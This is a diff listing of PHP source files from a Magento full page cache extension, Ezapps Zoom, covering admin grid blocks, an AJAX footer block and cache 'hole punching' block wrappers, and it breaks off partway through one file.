'label' => Mage::helper('ezzoom')->__('Flush Page Cache'),
|
26 |
+
'onclick' => 'setLocation(\'' . $this->getUrl('*/adminhtml_ezzoom/flush') .'\')',
|
27 |
+
'class' => 'delete',
|
28 |
+
));
|
29 |
+
|
30 |
+
parent::__construct();
|
31 |
+
|
32 |
+
$this->_removeButton('add');
|
33 |
+
|
34 |
+
}
|
35 |
+
|
36 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Adminhtml/Page/Grid.php
ADDED
@@ -0,0 +1,110 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Adminhtml Page Cache Listing Grid
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Adminhtml_Page_Grid extends Mage_Adminhtml_Block_Widget_Grid
|
13 |
+
{
|
14 |
+
|
15 |
+
public function __construct()
|
16 |
+
{
|
17 |
+
parent::__construct();
|
18 |
+
$this->setId('ezzoomGrid');
|
19 |
+
$this->setDefaultSort('hits');
|
20 |
+
$this->setDefaultDir('DESC');
|
21 |
+
$this->setSaveParametersInSession(true);
|
22 |
+
}
|
23 |
+
|
24 |
+
protected function _prepareCollection()
|
25 |
+
{
|
26 |
+
$collection = Mage::getModel('ezzoom/page')->getCollection()->consolidateMisses();
|
27 |
+
|
28 |
+
$this->setCollection($collection);
|
29 |
+
|
30 |
+
parent::_prepareCollection();
|
31 |
+
return $this;
|
32 |
+
}
|
33 |
+
|
34 |
+
protected function _prepareColumns()
|
35 |
+
{
|
36 |
+
|
37 |
+
$this->addColumn('uri', array(
|
38 |
+
'header' => Mage::helper('ezzoom')->__('URI'),
|
39 |
+
'align' =>'left',
|
40 |
+
'index' => 'uri',
|
41 |
+
));
|
42 |
+
|
43 |
+
if (!Mage::app()->isSingleStoreMode()) {
|
44 |
+
$this->addColumn('store_id', array(
|
45 |
+
'header' => Mage::helper('ezzoom')->__('Store'),
|
46 |
+
'index' => 'store_id',
|
47 |
+
'type' => 'store',
|
48 |
+
'store_view'=> true,
|
49 |
+
'display_deleted' => true,
|
50 |
+
'width' => '300px',
|
51 |
+
));
|
52 |
+
}
|
53 |
+
|
54 |
+
$this->addColumn('expires', array(
|
55 |
+
'header' => Mage::helper('ezzoom')->__('Expires'),
|
56 |
+
'index' => 'expires',
|
57 |
+
'type' => 'datetime',
|
58 |
+
'width' => '150px',
|
59 |
+
));
|
60 |
+
|
61 |
+
$this->addColumn('hits', array(
|
62 |
+
'header' => Mage::helper('ezzoom')->__('Hits'),
|
63 |
+
'align' =>'right',
|
64 |
+
'index' => 'hits',
|
65 |
+
'width' => '150px',
|
66 |
+
'filter' => false,
|
67 |
+
));
|
68 |
+
|
69 |
+
$this->addColumn('action', array('header' => Mage::helper('ezzoom')->__('Action'),
|
70 |
+
'width' => '60px',
|
71 |
+
'type' => 'action',
|
72 |
+
'getter' => 'getId',
|
73 |
+
'align' =>'center',
|
74 |
+
'actions' => array(
|
75 |
+
array(
|
76 |
+
'caption' => Mage::helper('sales')->__('Clear'),
|
77 |
+
'url' => array('base'=>'*/adminhtml_ezzoom/clear'),
|
78 |
+
'field' => 'id'
|
79 |
+
)
|
80 |
+
),
|
81 |
+
'filter' => false,
|
82 |
+
'sortable' => false,
|
83 |
+
'index' => 'stores',
|
84 |
+
'is_system' => true,
|
85 |
+
));
|
86 |
+
|
87 |
+
return parent::_prepareColumns();
|
88 |
+
|
89 |
+
}
|
90 |
+
|
91 |
+
protected function _prepareMassaction() {
|
92 |
+
if(!$this->_userMode){
|
93 |
+
$this->setMassactionIdField('main_table.id');
|
94 |
+
$this->getMassactionBlock()->setFormFieldName('page');
|
95 |
+
|
96 |
+
$this->getMassactionBlock()->addItem('delete', array(
|
97 |
+
'label' => $this->__('Delete'),
|
98 |
+
'url' => $this->getUrl('*/adminhtml_ezzoom/massDelete'),
|
99 |
+
'confirm' => $this->__('Are you sure?')
|
100 |
+
));
|
101 |
+
}
|
102 |
+
return $this;
|
103 |
+
}
|
104 |
+
|
105 |
+
public function getRowUrl($row)
|
106 |
+
{
|
107 |
+
return 'http' . ($row->getIsSecure() > 0 ? 's' : '') . '://' . $row->getServer() . $row->getUri();
|
108 |
+
}
|
109 |
+
|
110 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Ajax/Footer.php
ADDED
@@ -0,0 +1,205 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Footer Block With Ajax
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Ajax_Footer extends Mage_Core_Block_Template
|
13 |
+
{
|
14 |
+
|
15 |
+
/**
|
16 |
+
* Initialize object
|
17 |
+
*
|
18 |
+
* @return void
|
19 |
+
*/
|
20 |
+
|
21 |
+
public function __construct()
|
22 |
+
{
|
23 |
+
parent::__construct();
|
24 |
+
}
|
25 |
+
|
26 |
+
public function displayFooter() {
|
27 |
+
|
28 |
+
if (Mage::helper('ezzoom')->isEnabled() && Mage::helper('ezzoom')->matchedPage())
|
29 |
+
return true;
|
30 |
+
else
|
31 |
+
return false;
|
32 |
+
}
|
33 |
+
|
34 |
+
public function getAllData() {
|
35 |
+
|
36 |
+
$result = array();
|
37 |
+
|
38 |
+
$cache = $this->getCacheKeyInfo();
|
39 |
+
|
40 |
+
$toolbar = Mage::helper('ezzoom')->getToolbarState();
|
41 |
+
|
42 |
+
$result['holes'] = $this->getHolesData();
|
43 |
+
$result['url'] = $this->helper('core/url')->getCurrentUrl();
|
44 |
+
$result['cache_key_info'] = $cache['storage_types'];
|
45 |
+
$result['handles'] = Mage::getSingleton('core/layout')->getUpdate()->getHandles();
|
46 |
+
$result['control'] = $toolbar['control'];
|
47 |
+
if ($this->getProduct())
|
48 |
+
$result['pid'] = $this->getId();
|
49 |
+
|
50 |
+
return Mage::helper('ezzoom')->compress(json_encode($result));
|
51 |
+
|
52 |
+
}
|
53 |
+
|
54 |
+
public function getCurrencyJson() {
|
55 |
+
|
56 |
+
return json_encode(Mage::helper('ezzoom')->getCurrencyInfo());
|
57 |
+
|
58 |
+
}
|
59 |
+
|
60 |
+
public function getCacheKeyInfo() {
|
61 |
+
|
62 |
+
$str = Mage::getSingleton('core/layout')->getMessagesBlock()->getCacheKeyInfo();
|
63 |
+
if ($str != '' && !is_array($str)) {
|
64 |
+
return unserialize(Mage::getSingleton('core/layout')->getMessagesBlock()->getCacheKeyInfo());
|
65 |
+
} else
|
66 |
+
return array('storage_types'=> array( 'core/session', 'customer/session', 'catalog/session' ));
|
67 |
+
|
68 |
+
}
|
69 |
+
|
70 |
+
public function getHolesData() {
|
71 |
+
|
72 |
+
return Mage::helper('ezzoom')->getHolesData();
|
73 |
+
|
74 |
+
}
|
75 |
+
|
76 |
+
public function getHoles() {
|
77 |
+
|
78 |
+
return Mage::helper('ezzoom')->getHoles();
|
79 |
+
|
80 |
+
}
|
81 |
+
|
82 |
+
public function getAjaxPre() {
|
83 |
+
|
84 |
+
return Mage::helper('ezzoom')->getVarFromEzoomHandler('TAG_START');
|
85 |
+
|
86 |
+
}
|
87 |
+
|
88 |
+
public function getAjaxPost() {
|
89 |
+
|
90 |
+
return Mage::helper('ezzoom')->getVarFromEzoomHandler('TAG_END');
|
91 |
+
|
92 |
+
}
|
93 |
+
|
94 |
+
public function getAjaxPreCurrency() {
|
95 |
+
|
96 |
+
return Mage::helper('ezzoom')->getVarFromEzoomHandler('TAG_START_CURRENCY');
|
97 |
+
|
98 |
+
}
|
99 |
+
|
100 |
+
public function getAjaxPostCurrency() {
|
101 |
+
|
102 |
+
return Mage::helper('ezzoom')->getVarFromEzoomHandler('TAG_END_CURRENCY');
|
103 |
+
|
104 |
+
}
|
105 |
+
|
106 |
+
public function getPageTag() {
|
107 |
+
|
108 |
+
return Mage::helper('ezzoom')->getVarFromEzoomHandler('TAG_PAGE');
|
109 |
+
|
110 |
+
}
|
111 |
+
|
112 |
+
public function getFileTag() {
|
113 |
+
|
114 |
+
return Mage::helper('ezzoom')->getVarFromEzoomHandler('TAG_FILE');
|
115 |
+
|
116 |
+
}
|
117 |
+
|
118 |
+
public function getProduct() {
|
119 |
+
|
120 |
+
if (Mage::registry('current_product'))
|
121 |
+
return Mage::registry('current_product');
|
122 |
+
else
|
123 |
+
return null;
|
124 |
+
|
125 |
+
}
|
126 |
+
|
127 |
+
public function getCurrencyConversion() {
|
128 |
+
|
129 |
+
$session = Mage::getSingleton('customer/session');
|
130 |
+
|
131 |
+
if (Mage::helper('ezzoom')->punchStatus('currency') > 0) {
|
132 |
+
|
133 |
+
$userCode = $session->getMaskedCurrency();
|
134 |
+
$baseCode = Mage::app()->getStore()->getBaseCurrencyCode();
|
135 |
+
|
136 |
+
if ($userCode != $baseCode)
|
137 |
+
return true;
|
138 |
+
|
139 |
+
}
|
140 |
+
|
141 |
+
return false;
|
142 |
+
|
143 |
+
}
|
144 |
+
|
145 |
+
public function getEzappsLink () {
|
146 |
+
|
147 |
+
$place_link = Mage::helper('ezzoom')->getConfigData('addlink', 'ezzoomlink');
|
148 |
+
$home_page = array('cms_index_defaultindex', 'cms_index_index');
|
149 |
+
|
150 |
+
|
151 |
+
if (Mage::helper('ezzoom')->isEnabled() && ($place_link > 0)) {
|
152 |
+
|
153 |
+
$a = "EZAPPS Zoom: The Magento Full Page Cache";
|
154 |
+
$t = "Zoom Full Page Cache and more Magento Products from EZAPPS";
|
155 |
+
$link = "<div class=\"\" style=\"" . Mage::helper('ezzoom')->getConfigData('style', 'ezzoomlink') . "\">" .
|
156 |
+
"<a href=\"http://www.ezapps.ca/\" title=\"$t\"><img src=\"//www.ezapps.ca/media/zoom-magento-full-page-cache.png\" border=\"0\" title=\"$t\" alt=\"$a\" /></a>" .
|
157 |
+
"</div>";
|
158 |
+
|
159 |
+
if ($place_link == 1 && in_array($this->getAction()->getFullActionName(), $home_page))
|
160 |
+
return $link;
|
161 |
+
else if ($place_link == 2)
|
162 |
+
return $link;
|
163 |
+
|
164 |
+
}
|
165 |
+
|
166 |
+
return '';
|
167 |
+
|
168 |
+
}
|
169 |
+
|
170 |
+
|
171 |
+
function getPath() {
|
172 |
+
|
173 |
+
return Mage::getSingleton('core/cookie')->getPath();
|
174 |
+
|
175 |
+
}
|
176 |
+
|
177 |
+
public function getDomain() {
|
178 |
+
|
179 |
+
$domain = Mage::getSingleton('core/cookie')->getDomain();
|
180 |
+
|
181 |
+
if (!empty($domain[0]) && ($domain[0] !== '.')) {
|
182 |
+
$domain = '.'.$domain;
|
183 |
+
}
|
184 |
+
|
185 |
+
return $domain;
|
186 |
+
|
187 |
+
}
|
188 |
+
|
189 |
+
public function getCookieToSet() {
|
190 |
+
|
191 |
+
$toolbar = Mage::helper('ezzoom')->getToolbarState();
|
192 |
+
|
193 |
+
$cookies = array();
|
194 |
+
|
195 |
+
foreach ($toolbar['control'] as $key => $value)
|
196 |
+
$cookies[Mage::helper('ezzoom')->getVarFromEzoomHandler('GET_STEM').$key] = $value;
|
197 |
+
|
198 |
+
return $cookies;
|
199 |
+
|
200 |
+
|
201 |
+
}
|
202 |
+
|
203 |
+
|
204 |
+
|
205 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Toolbar.php
ADDED
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Toolbar Extender
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Toolbar extends Mage_Catalog_Block_Product_List_Toolbar
|
13 |
+
{
|
14 |
+
|
15 |
+
public function getDefaultOrder()
|
16 |
+
{
|
17 |
+
return $this->_orderField;
|
18 |
+
}
|
19 |
+
|
20 |
+
public function getDefaultDirection()
|
21 |
+
{
|
22 |
+
return $this->_direction;
|
23 |
+
}
|
24 |
+
|
25 |
+
|
26 |
+
|
27 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Cart.php
ADDED
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Cart extends Mage_Checkout_Block_Cart_Sidebar
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'cart';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function _afterToHtml($html)
|
30 |
+
{
|
31 |
+
if ($this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
32 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
33 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
34 |
+
} else
|
35 |
+
return parent::_afterToHtml($html);
|
36 |
+
}
|
37 |
+
|
38 |
+
public function setCacheTag($status) {
|
39 |
+
|
40 |
+
$this->_cache_tag = $status;
|
41 |
+
return $this;
|
42 |
+
|
43 |
+
}
|
44 |
+
|
45 |
+
public function getCacheTag() {
|
46 |
+
|
47 |
+
return $this->_cache_tag;
|
48 |
+
|
49 |
+
}
|
50 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Compare.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Compare extends Mage_Catalog_Block_Product_Compare_Sidebar
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'compare';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function _afterToHtml($html)
|
30 |
+
{
|
31 |
+
if ($this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
32 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
33 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
34 |
+
}
|
35 |
+
else
|
36 |
+
return parent::_afterToHtml($html);
|
37 |
+
}
|
38 |
+
|
39 |
+
public function setCacheTag($status) {
|
40 |
+
|
41 |
+
$this->_cache_tag = $status;
|
42 |
+
return $this;
|
43 |
+
|
44 |
+
}
|
45 |
+
|
46 |
+
public function getCacheTag() {
|
47 |
+
|
48 |
+
return $this->_cache_tag;
|
49 |
+
|
50 |
+
}
|
51 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Compared.php
ADDED
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Compared extends Mage_Reports_Block_Product_Compared
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'compared';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function _afterToHtml($html)
|
30 |
+
{
|
31 |
+
|
32 |
+
if ($this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
33 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
34 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
35 |
+
}
|
36 |
+
else
|
37 |
+
return parent::_afterToHtml($html);
|
38 |
+
}
|
39 |
+
|
40 |
+
public function setCacheTag($status) {
|
41 |
+
|
42 |
+
$this->_cache_tag = $status;
|
43 |
+
return $this;
|
44 |
+
|
45 |
+
}
|
46 |
+
|
47 |
+
public function getCacheTag() {
|
48 |
+
|
49 |
+
return $this->_cache_tag;
|
50 |
+
|
51 |
+
}
|
52 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Currency.php
ADDED
@@ -0,0 +1,63 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Currency extends Mage_Directory_Block_Currency
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'currency';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function _afterToHtml($html)
|
30 |
+
{
|
31 |
+
if ($this->getCacheTag() && ((trim($html) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
32 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout());
|
33 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . parent::_afterToHtml($html) . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
34 |
+
}
|
35 |
+
else
|
36 |
+
return parent::_afterToHtml($html);
|
37 |
+
}
|
38 |
+
|
39 |
+
public function setCacheTag($status) {
|
40 |
+
|
41 |
+
$this->_cache_tag = $status;
|
42 |
+
return $this;
|
43 |
+
|
44 |
+
}
|
45 |
+
|
46 |
+
public function getCacheTag() {
|
47 |
+
|
48 |
+
return $this->_cache_tag;
|
49 |
+
|
50 |
+
}
|
51 |
+
|
52 |
+
public function getCurrentCurrencyCode()
|
53 |
+
{
|
54 |
+
if (Mage::helper('ezzoom')->punchStatus($this->_key) > 0) {
|
55 |
+
if (!is_null(Mage::getSingleton('customer/session')->getMaskedCurrency())) {
|
56 |
+
$this->setData('current_currency_code', Mage::getSingleton('customer/session')->getMaskedCurrency());
|
57 |
+
}
|
58 |
+
}
|
59 |
+
|
60 |
+
return parent::getCurrentCurrencyCode();
|
61 |
+
}
|
62 |
+
|
63 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Header.php
ADDED
@@ -0,0 +1,54 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Header extends Mage_Page_Block_Html_Header
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'header';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function getWelcome()
|
30 |
+
{
|
31 |
+
|
32 |
+
$welcome = parent::getWelcome();
|
33 |
+
|
34 |
+
if ($this->getCacheTag() && ((trim($welcome) != "" && Mage::helper('ezzoom')->punchStatus($this->_key) == 1) || Mage::helper('ezzoom')->punchStatus($this->_key) == 2)) {
|
35 |
+
$name = (Mage::helper('ezzoom')->getConfigData('zoom_lite') ? $this->getTemplate() : $this->getNameInLayout()) . ',getWelcome';
|
36 |
+
return Mage::helper('ezzoom')->renderHoleStart($this->_key, $name) . $welcome . Mage::helper('ezzoom')->renderHoleEnd($this->_key, $name);
|
37 |
+
}
|
38 |
+
else
|
39 |
+
return $welcome;
|
40 |
+
}
|
41 |
+
|
42 |
+
public function setCacheTag($status) {
|
43 |
+
|
44 |
+
$this->_cache_tag = $status;
|
45 |
+
return $this;
|
46 |
+
|
47 |
+
}
|
48 |
+
|
49 |
+
public function getCacheTag() {
|
50 |
+
|
51 |
+
return $this->_cache_tag;
|
52 |
+
|
53 |
+
}
|
54 |
+
}
|
app/code/local/Ezapps/Zoom/Block/Wrapper/Links.php
ADDED
@@ -0,0 +1,84 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Block Wrapper for hole punching
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
class Ezapps_Zoom_Block_Wrapper_Links extends Mage_Page_Block_Template_Links
|
13 |
+
{
|
14 |
+
/**
|
15 |
+
* Initialize object
|
16 |
+
*
|
17 |
+
* @return void
|
18 |
+
*/
|
19 |
+
|
20 |
+
private $_key = 'links';
|
21 |
+
private $_cache_tag = true;
|
22 |
+
|
23 |
+
public function __construct()
|
24 |
+
{
|
25 |
+
$this->setHtmlId($this->_key);
|
26 |
+
parent::__construct();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function _afterToHtml($html)
|
30 |
+
{
|
31 |
+
|
32 |
+
if (stristr($this->getNameInLayout(), 'top') != false || get_class($this->getParentBlock()) == "Ezapps_Zoom_Block_Wrapper_Header")
|
33 |
+
$maybe_top_block = true;
|
34 |
+
else
|
35 |
+
$maybe_top_block = false;
|
36 |
+
|
37 |
+
if ($this->getCacheTag() && $maybe_top_block == true &&
|
38 |
+
